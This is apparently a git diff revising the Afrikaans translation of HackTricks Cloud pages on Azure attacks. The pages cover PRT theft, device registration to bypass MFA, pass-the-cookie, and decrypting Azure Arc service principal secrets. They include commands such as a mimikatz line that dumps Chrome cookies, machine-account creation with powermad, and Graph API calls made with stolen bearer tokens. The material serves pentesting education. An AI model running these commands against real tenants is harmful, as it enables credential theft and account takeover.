Volgende met die vorige voorbeeldkode, in hierdie kode word 'n nuwe token vir 'n ander scope aangevra:
|
||||
Volgende met die vorige voorbeeldkode, in hierdie kode word 'n nuwe token vir 'n ander skoop aangevra:
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
@@ -174,7 +173,7 @@ scopes=[
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
### Kry verskillende kliënt en skope
|
||||
### Kry verskillende kliënte en skope
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
Wanneer 'n toestel by AzureAD aansluit, word 'n nuwe objek in AzureAD geskep.
|
||||
|
||||
Wanneer 'n toestel geregistreer word, **word die gebruiker gevra om in te log met sy rekening** (wat MFA vra indien nodig), dan versoek dit tokens vir die toestelregistrasiediens en vra dan 'n finale bevestigingsprompt.
|
||||
Wanneer 'n toestel geregistreer word, **word die gebruiker gevra om met sy rekening aan te meld** (met MFA indien nodig), dan versoek dit tokens vir die toestelregistrasiediens en vra dan 'n finale bevestigingsprompt.
|
||||
|
||||
Dan word twee RSA-sleutelpaar in die toestel gegenereer: Die **toestelsleutel** (**publieke** sleutel) wat na **AzureAD** gestuur word en die **transport** sleutel (**private** sleutel) wat in TPM gestoor word indien moontlik.
|
||||
|
||||
@@ -14,7 +14,7 @@ Dan word die **objek** in **AzureAD** geskep (nie in Intune nie) en AzureAD gee
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
Na die toestelregistrasie word 'n **Primary Refresh Token** deur die LSASS CloudAP-module aangevra en aan die toestel gegee. Met die PRT word ook die **sessiesleutel versleuteld sodat slegs die toestel dit kan ontsleutel** (met die publieke sleutel van die vervoersleutel) en dit is **nodig om die PRT te gebruik.**
|
||||
Na die toestelregistrasie word 'n **Primêre Vernuwingsleutel** deur die LSASS CloudAP-module aangevra en aan die toestel gegee. Met die PRT word ook die **sessiesleutel gelewer wat slegs deur die toestel ontcijfer kan word** (met die publieke sleutel van die vervoersleutel) en dit is **nodig om die PRT te gebruik.**
|
||||
|
||||
Vir meer inligting oor wat 'n PRT is, kyk:
|
||||
|
||||
@@ -22,18 +22,18 @@ Vir meer inligting oor wat 'n PRT is, kyk:
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### TPM - Trusted Platform Module
|
||||
### TPM - Betroubare Platformmodule
|
||||
|
||||
Die **TPM** **beskerm** teen sleutel **onttrekking** van 'n afgeskakel toestel (as dit deur 'n PIN beskerm word) en teen die onttrekking van die private materiaal uit die OS-laag.\
|
||||
Maar dit **beskerm nie** teen **sniffing** van die fisiese verbinding tussen die TPM en CPU of **gebruik van die kriptografiese materiaal** in die TPM terwyl die stelsel loop vanaf 'n proses met **SYSTEM** regte.
|
||||
Maar dit **beskerm nie** teen **snuffeling** van die fisiese verbinding tussen die TPM en CPU of **gebruik van die kriptografiese materiaal** in die TPM terwyl die stelsel loop vanaf 'n proses met **SISTEEM** regte.
|
||||
|
||||
As jy die volgende bladsy kyk, sal jy sien dat **diefstal van die PRT** gebruik kan word om toegang te verkry soos 'n **gebruiker**, wat wonderlik is omdat die **PRT op toestelle geleë is**, so dit kan van hulle gesteel word (of as dit nie gesteel word, misbruik word om nuwe ondertekeningsleutels te genereer):
|
||||
As jy die volgende bladsy kyk, sal jy sien dat **diefstal van die PRT** gebruik kan word om toegang te verkry soos 'n **gebruiker**, wat wonderlik is omdat die **PRT op toestelle geleë is**, so dit kan van hulle gesteel word (of as dit nie gesteel word, misbruik word om nuwe ondertekeningssleutels te genereer):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Registrasie van 'n toestel met SSO tokens
|
||||
## Registrasie van 'n toestel met SSO-token
|
||||
|
||||
Dit sou moontlik wees vir 'n aanvaller om 'n token vir die Microsoft toestelregistrasiediens van die gecompromitteerde toestel aan te vra en dit te registreer:
|
||||
```bash
|
||||
@@ -47,24 +47,24 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
Which will give you a **sertifikaat wat jy kan gebruik om in die toekoms vir PRTs te vra**. Daarom om volharding te handhaaf en **MFA te omseil** omdat die oorspronklike PRT-token wat gebruik is om die nuwe toestel te registreer **reeds MFA-toestemmings toegeken het**.
|
||||
Wat jou 'n **sertifikaat sal gee wat jy kan gebruik om in die toekoms vir PRT's te vra**. Dit hou dus volharding in stand en **omseil MFA** omdat die oorspronklike PRT-token wat gebruik is om die nuwe toestel te registreer **reeds MFA-toestemmings toegeken het**.
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat jy toestemming nodig het om **nuwe toestelle te registreer** om hierdie aanval uit te voer. Ook, die registrasie van 'n toestel beteken nie dat die toestel **toegelaat sal word om in Intune te registreer** nie.
|
||||
> Let daarop dat jy toestemming nodig sal hê om **nuwe toestelle te registreer** om hierdie aanval uit te voer. Ook, die registrasie van 'n toestel beteken nie dat die toestel **toegelaat sal word om in Intune in te skryf** nie.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie aanval is in September 2021 reggestel aangesien jy nie meer nuwe toestelle kan registreer met 'n SSO-token nie. Dit is egter steeds moontlik om toestelle op 'n wettige manier te registreer (met gebruikersnaam, wagwoord en MFA indien nodig). Kyk: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
|
||||
## Oorskrywing van 'n toestelkaartjie
|
||||
## Oorskrywing van 'n toestel-tiket
|
||||
|
||||
Dit was moontlik om 'n **toestelkaartjie aan te vra**, die huidige een van die toestel te **oorskryf**, en tydens die vloei die **PRT te steel** (so geen behoefte om dit van die TPM te steel nie. Vir meer inligting [**kyk na hierdie praatjie**](https://youtu.be/BduCn8cLV1A).
|
||||
Dit was moontlik om 'n **toestel-tiket aan te vra**, die huidige een van die toestel te **oorskryf**, en tydens die vloei **die PRT te steel** (so geen behoefte om dit van die TPM te steel nie. Vir meer inligting [**kyk na hierdie praatjie**](https://youtu.be/BduCn8cLV1A).
|
||||
|
||||
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Dit is egter reggestel.
|
||||
|
||||
## Oorskrywing van WHFB-sleutel
|
||||
## Oorskryf WHFB-sleutel
|
||||
|
||||
[**Kyk die oorspronklike skyfies hier**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# Az - Enumeration Tools
|
||||
# Az - Enumerasie Gereedskap
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Installeer PowerShell in Linux
|
||||
|
||||
> [!TIP]
|
||||
> In linux moet jy PowerShell Core installeer:
|
||||
> In linux sal jy PowerShell Core moet installeer:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
@@ -51,7 +51,7 @@ brew upgrade powershell
|
||||
|
||||
### az cli
|
||||
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is 'n kruis-platform hulpmiddel geskryf in Python vir die bestuur en administrasie van (meeste) Azure en Entra ID hulpbronne. Dit maak verbinding met Azure en voer administratiewe opdragte uit via die opdraglyn of skripte.
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is 'n kruis-platform hulpmiddel geskryf in Python vir die bestuur en administrasie van (meeste) Azure en Entra ID hulpbronne. Dit verbind met Azure en voer administratiewe opdragte uit via die opdraglyn of skripte.
|
||||
|
||||
Volg hierdie skakel vir die [**installasie instruksies¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||
|
||||
@@ -59,11 +59,11 @@ Opdragte in Azure CLI is gestruktureer volgens 'n patroon van: `az <service> <ac
|
||||
|
||||
#### Debug | MitM az cli
|
||||
|
||||
Deur die parameter **`--debug`** is dit moontlik om al die versoeke wat die hulpmiddel **`az`** stuur te sien:
|
||||
Met die parameter **`--debug`** is dit moontlik om al die versoeke wat die hulpmiddel **`az`** stuur te sien:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen:
|
||||
Om 'n **MitM** na die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
@@ -95,27 +95,27 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
|
||||
Azure PowerShell is 'n module met cmdlets om Azure hulpbronne direk vanaf die PowerShell-opdraglyn te bestuur.
|
||||
|
||||
Volg hierdie skakel vir die [**installasie-instruksies**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
Volg hierdie skakel vir die [**installasie instruksies**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
|
||||
Opdragte in Azure PowerShell AZ Module is gestruktureer soos: `<Action>-Az<Service> <parameters>`
|
||||
|
||||
#### Debug | MitM Az PowerShell
|
||||
|
||||
Deur die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien:
|
||||
Met die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien:
|
||||
```bash
|
||||
Get-AzResourceGroup -Debug
|
||||
```
|
||||
Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy die omgewing veranderlikes `HTTPS_PROXY` en `HTTP_PROXY` instel volgens die [**dokumentasie**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy die omgewing veranderlikes `HTTPS_PROXY` en `HTTP_PROXY` instel volgens die [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell is 'n kruis-platform SDK wat toegang tot al die Microsoft Graph API's moontlik maak, insluitend dienste soos SharePoint, Exchange, en Outlook, met 'n enkele eindpunt. Dit ondersteun PowerShell 7+, moderne verifikasie via MSAL, eksterne identiteite, en gevorderde navrae. Met 'n fokus op die minste privaatheidstoegang, verseker dit veilige bedrywighede en ontvang gereelde opdaterings om in lyn te wees met die nuutste Microsoft Graph API kenmerke.
|
||||
Microsoft Graph PowerShell is 'n kruis-platform SDK wat toegang tot al die Microsoft Graph API's moontlik maak, insluitend dienste soos SharePoint, Exchange, en Outlook, met 'n enkele eindpunt. Dit ondersteun PowerShell 7+, moderne verifikasie via MSAL, eksterne identiteite, en gevorderde navrae. Met 'n fokus op die minste privaatheidstoegang, verseker dit veilige bedrywighede en ontvang gereelde opdaterings om in lyn te wees met die nuutste Microsoft Graph API-funksies.
|
||||
|
||||
Volg hierdie skakel vir die [**installasie instruksies**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
|
||||
|
||||
Opdragte in Microsoft Graph PowerShell is gestruktureer soos: `<Action>-Mg<Service> <parameters>`
|
||||
|
||||
#### Foutopsporing van Microsoft Graph PowerShell
|
||||
#### Foutopsporing Microsoft Graph PowerShell
|
||||
|
||||
Met die parameter **`-Debug`** is dit moontlik om al die versoeke wat die hulpmiddel stuur te sien:
|
||||
```bash
|
||||
@@ -123,9 +123,9 @@ Get-MgUser -Debug
|
||||
```
|
||||
### ~~**AzureAD Powershell**~~
|
||||
|
||||
Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure PowerShell vir die bestuur van Azure AD hulpbronne. Dit bied cmdlets vir take soos die bestuur van gebruikers, groepe, en aansoekregistrasies in Entra ID.
|
||||
Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure PowerShell vir die bestuur van Azure AD hulpbronne. Dit bied cmdlets vir take soos die bestuur van gebruikers, groepe, en toepassingsregistrasies in Entra ID.
|
||||
|
||||
> [!TIP]
|
||||
> Dit is vervang deur Microsoft Graph PowerShell
|
||||
|
||||
Volg hierdie skakel vir die [**installasie-instruksies**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
Volg hierdie skakel vir die [**installasie instruksies**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Lateral Movement (Cloud - On-Prem)
|
||||
# Az - Laterale Beweging (Cloud - On-Prem)
|
||||
|
||||
## Az - Lateral Movement (Cloud - On-Prem)
|
||||
## Az - Laterale Beweging (Cloud - On-Prem)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -28,9 +28,9 @@ Daar is verskillende maniere waarop 'n masjien aan die wolk gekoppel kan wees:
|
||||
|
||||
In Azure AD is daar verskillende tipes tokens met spesifieke beperkings:
|
||||
|
||||
- **Toegangstokens**: Gebruik om API's en hulpbronne soos die Microsoft Graph te benader. Hulle is aan 'n spesifieke kliënt en hulpbron gekoppel.
|
||||
- **Toegangstokens**: Gebruik om API's en hulpbronne soos die Microsoft Graph te benader. Hulle is gekoppel aan 'n spesifieke kliënt en hulpbron.
|
||||
- **Herlaai tokens**: Uitgereik aan toepassings om nuwe toegangstokens te verkry. Hulle kan slegs deur die toepassing wat hulle ontvang het of 'n groep toepassings gebruik word.
|
||||
- **Primêre Herlaai Tokens (PRT)**: Gebruik vir Enkel Teken-In op Azure AD aangeslote, geregistreerde, of hibrid aangeslote toestelle. Hulle kan in blaaierteken-in vloei en vir teken-in op mobiele en desktop toepassings op die toestel gebruik word.
|
||||
- **Primêre Herlaai Tokens (PRT)**: Gebruik vir Enkel Teken-In op Azure AD aangeslote, geregistreerde, of hibrid aangeslote toestelle. Hulle kan gebruik word in blaaierteken-in vloei en vir teken-in op mobiele en desktop toepassings op die toestel.
|
||||
- **Windows Hello for Business sleutels (WHFB)**: Gebruik vir wagwoordlose verifikasie. Dit word gebruik om Primêre Herlaai Tokens te verkry.
|
||||
|
||||
Die mees interessante tipe token is die Primêre Herlaai Token (PRT).
|
||||
@@ -43,8 +43,8 @@ az-primary-refresh-token-prt.md
|
||||
|
||||
Van die **gekompromitteerde masjien na die wolk**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Steel Azure koekies uit die blaaiert en gebruik dit om in te teken
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump die geheue van plaaslike prosesse wat met die wolk gesinkroniseer is (soos excel, Teams...) en vind toegangstokens in duidelike teks.
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Steel Azure koekies van die blaaier en gebruik dit om in te teken
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump die geheue van plaaslike prosesse gesinkroniseer met die wolk (soos excel, Teams...) en vind toegangstokens in duidelike teks.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish die PRT om dit te misbruik
|
||||
- [**Pass the PRT**](pass-the-prt.md): Steel die toestel PRT om Azure te benader deur dit na te doen.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Genereer 'n sertifikaat gebaseer op die PRT om van een masjien na 'n ander in te teken
|
||||
|
||||
@@ -1,19 +1,19 @@
|
||||
# Az - Arc vulnerable GPO Deploy Script
|
||||
# Az - Arc kwesbare GPO Ontplooi Skrip
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Identifying the Issues
|
||||
### Identifisering van die Probleme
|
||||
|
||||
Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
|
||||
|
||||
Wanneer uitgevoer, voer die DeployGPO.ps1 skrip die volgende aksies uit:
|
||||
Wanneer dit uitgevoer word, voer die DeployGPO.ps1 skrip die volgende aksies uit:
|
||||
|
||||
1. Skep die Azure Arc Servers Onboarding GPO binne die plaaslike domein.
|
||||
2. Kopieer die EnableAzureArc.ps1 aanmeldskrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.
|
||||
1. Skep die Azure Arc Servers Aanmeld GPO binne die plaaslike domein.
|
||||
2. Kopieer die EnableAzureArc.ps1 aanmeld skrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.
|
||||
|
||||
Wanneer hierdie skrip uitgevoer word, moet stelselsadmins twee hoofparameters verskaf: **ServicePrincipalId** en **ServicePrincipalClientSecret**. Daarbenewens vereis dit ander parameters soos die domein, die FQDN van die bediener wat die deel huisves, en die deelnaam. Verdere besonderhede soos die tenant ID, hulpbron groep, en ander nodige inligting moet ook aan die skrip verskaf word.
|
||||
|
||||
'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 met $descriptor en $ServicePrincipalSecret as insette aan te roep. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar.
|
||||
'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan gevind word in die DeployGPO.ps1 skrip, waar die enkripsie uitgevoer word deur ProtectBase64 met $descriptor en $ServicePrincipalSecret as insette aan te roep. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar.
|
||||
```powershell
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -24,7 +24,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
|
||||
```
|
||||
### Exploit
|
||||
|
||||
Ons het die volgende toestande:
|
||||
Ons het die volgende voorwaardes:
|
||||
|
||||
1. Ons het suksesvol die interne netwerk binnegedring.
|
||||
2. Ons het die vermoë om 'n rekenaarrekening binne Active Directory te skep of te beheer.
|
||||
@@ -35,7 +35,7 @@ Daar is verskeie metodes om 'n masjienrekening binne 'n AD-omgewing te verkry. E
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
Sodra 'n masjienrekening verkry is, is dit moontlik om te autentiseer met hierdie rekening. Ons kan of die runas.exe-opdrag met die netonly-vlag gebruik of pass-the-ticket met Rubeus.exe gebruik.
|
||||
Sodra 'n masjienrekening verkry is, is dit moontlik om met hierdie rekening te autentiseer. Ons kan of die runas.exe-opdrag met die netonly-vlag gebruik of pass-the-ticket met Rubeus.exe gebruik.
|
||||
```powershell
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
@@ -54,7 +54,7 @@ $ebs
|
||||
```
|
||||
Alternatiewelik kan ons [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) gebruik.
|
||||
|
||||
Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel as die encryptedServicePrincipalSecret-lêer gestoor is. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te autentiseer.
|
||||
Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel gestoor is as die encryptedServicePrincipalSecret-lêer. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te verifieer.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Az - Plaaslike Wolk Krediete
|
||||
# Az - Plaaslike Wolk Kredensiale
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,12 +6,12 @@
|
||||
|
||||
### Azure CLI (Opdraglyn Koppelvlak)
|
||||
|
||||
Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteits bekommernisse oproep:
|
||||
Tokens en sensitiewe data word plaaslik deur Azure CLI gestoor, wat sekuriteitskwessies opwerp:
|
||||
|
||||
1. **Toegangstokens**: Gestoor in platte teks binne `accessTokens.json` geleë by `C:\Users\<username>\.Azure`.
|
||||
2. **Subskripsie Inligting**: `azureProfile.json`, in dieselfde gids, hou subskripsie besonderhede.
|
||||
3. **Loglêers**: Die `ErrorRecords` vouer binne `.azure` mag loglêers bevat met blootgestelde krediete, soos:
|
||||
- Uitgevoerde opdragte met krediete ingebed.
|
||||
3. **Loglêers**: Die `ErrorRecords` vouer binne `.azure` mag logs bevat met blootgestelde kredensiale, soos:
|
||||
- Uitgevoerde opdragte met kredensiale ingebed.
|
||||
- URL's wat met tokens toeganklik gemaak is, wat moontlik sensitiewe inligting kan onthul.
|
||||
|
||||
### Azure PowerShell
|
||||
@@ -27,9 +27,9 @@ Azure PowerShell stoor ook tokens en sensitiewe data, wat plaaslik toeganklik is
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Sekuriteits Aanbevelings
|
||||
## Sekuriteitsaanbevelings
|
||||
|
||||
Aangaande die berging van sensitiewe data in platte teks, is dit noodsaaklik om hierdie lêers en gidse te beveilig deur:
|
||||
Aangaande die berging van sensitiewe data in platte teks, is dit van kardinale belang om hierdie lêers en gidse te beveilig deur:
|
||||
|
||||
- Toegangregte tot hierdie lêers te beperk.
|
||||
- Gereeld hierdie gidse te monitor en te oudit vir ongeoorloofde toegang of onverwagte veranderinge.
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Waarom Koekies?
|
||||
|
||||
Bladsy **koekies** is 'n uitstekende meganisme om **authentisering en MFA** te **omseil**. Omdat die gebruiker reeds in die toepassing geverifieer is, kan die sessie **koekie** net gebruik word om **data** as daardie gebruiker te **toegang**, sonder om weer te verifieer.
|
||||
Bladsy **koekies** is 'n uitstekende meganisme om **autentisering en MFA** te **omseil**. Aangesien die gebruiker reeds in die toepassing geoutentiseer is, kan die sessie **koekie** net gebruik word om **data** as daardie gebruiker te **verkry**, sonder om weer te moet autentiseer.
|
||||
|
||||
Jy kan sien waar **bladsy koekies geleë** is in:
|
||||
|
||||
@@ -20,15 +20,15 @@ Die uitdagende deel is dat daardie **koekies geënkripteer** is vir die **gebrui
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
{{#endref}}
|
||||
|
||||
Met Mimikatz in die hand, kan ek **'n gebruiker se koekies** onttrek, selfs al is hulle geënkripteer met hierdie opdrag:
|
||||
Met Mimikatz in die hand, kan ek **'n gebruiker se koekies onttrek** selfs al is hulle geënkripteer met hierdie opdrag:
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Vir Azure, is ons bekommerd oor die outentikasie koekies insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Daardie is daar omdat die gebruiker onlangs aktief op Azure was.
|
||||
Vir Azure, gee ons om oor die outentikasie koekies insluitend **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, en **`ESTSAUTHLIGHT`**. Daardie is daar omdat die gebruiker onlangs aktief op Azure was.
|
||||
|
||||
Net navigeer na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Bly Teken In” opsie) of **`ESTSAUTH`** by. En jy sal outentiseer wees.
|
||||
Net navigeer na login.microsoftonline.com en voeg die koekie **`ESTSAUTHPERSISTENT`** (gegenereer deur die “Stay Signed In” opsie) of **`ESTSAUTH`** by. En jy sal outentiseer wees.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
|
||||
|
||||
|
||||
@@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Kyk na die pos in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) alhoewel 'n ander pos wat dieselfde verduidelik, gevind kan word in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
**Kyk die pos in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) alhoewel 'n ander pos wat dieselfde verduidelik, gevind kan word in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Let daarop dat hierdie tipe toegangstokens ook binne ander prosesse gevind kan word.**
|
||||
**Let wel dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook kommentaar gegee in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
**Hierdie pos is 'n opsomming van** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **wat nagegaan kan word vir verdere inligting oor die aanval. Hierdie tegniek word ook bespreek in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
@@ -17,30 +17,30 @@ Daarom, as hierdie rekening gecompromitteer word, kan dit moontlik wees om enige
|
||||
|
||||
### Kerberos TGT
|
||||
|
||||
Boonop, wanneer 'n gebruiker op Windows autentiseer met 'n hibriede identiteit, **Azure AD** sal 'n **gedeeltelike Kerberos kaartjie saam met die PRT uitreik.** Die TGT is gedeeltelik omdat **AzureAD beperkte inligting** van die gebruiker in die on-prem AD het (soos die sekuriteitsidentifiseerder (SID) en die naam).\
|
||||
Boonop, wanneer 'n gebruiker op Windows outentiseer met 'n hibriede identiteit, **Azure AD** sal 'n **gedeeltelike Kerberos kaartjie saam met die PRT uitreik.** Die TGT is gedeeltelik omdat **AzureAD beperkte inligting** van die gebruiker in die on-prem AD het (soos die sekuriteitsidentifiseerder (SID) en die naam).\
|
||||
Windows kan dan **hierdie gedeeltelike TGT vir 'n volle TGT ruil** deur 'n dienskaartjie vir die `krbtgt` diens aan te vra.
|
||||
|
||||
